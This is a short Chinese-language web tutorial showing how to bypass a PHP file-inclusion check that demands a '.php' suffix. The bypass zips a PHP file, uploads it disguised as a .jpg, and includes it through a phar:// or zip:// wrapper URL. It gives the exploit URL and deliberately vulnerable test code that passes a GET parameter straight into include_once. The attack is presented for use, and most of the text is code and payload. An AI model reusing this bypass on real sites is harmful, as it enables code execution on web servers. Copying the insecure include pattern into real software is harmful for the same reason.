您好,登錄后才能下訂單哦!
$include_file 可控,可以上傳文件, 上傳后綴限制為jpg,gif,png,包含后綴限制必須為.php
allow_url_include=Off (不考慮遠程包含)
if ( isset( $include_file ) && strtolower( substr( $include_file, -4 ) ) == ".php" ) { include_once( $include_file ); }
-----------------------------------------------------
解決方案
要求php>=5.3
把php打包成zip,改名上傳,比如名為info.zip.jpg
然后用phar流包裝器包含,其中info.zip.jpg為zip文件名,info.php為zip壓縮包內子文件名
http://localhost/index.php?a=phar://info.zip.jpg/info.php
測試代碼:
echo "ini_get(allow_url_include):".ini_get("allow_url_include").""; $include_file=$_GET['a']; if ( isset( $include_file ) && strtolower( substr( $include_file, -4 ) ) == ".php" ) { include_once( $include_file ); } else { echo "file err"; }
參考文檔:http://php.net/manual/zh/phar.using.stream.php
PS.
據php官方文檔所述,最少需要php5.3才能使用,5.3之前需要拓展
如果不能用的話,還可以試試zip流包裝器(需要zip拓展),注意轉義井號:
zip://info.zip.jpg#info.php
免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng)、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。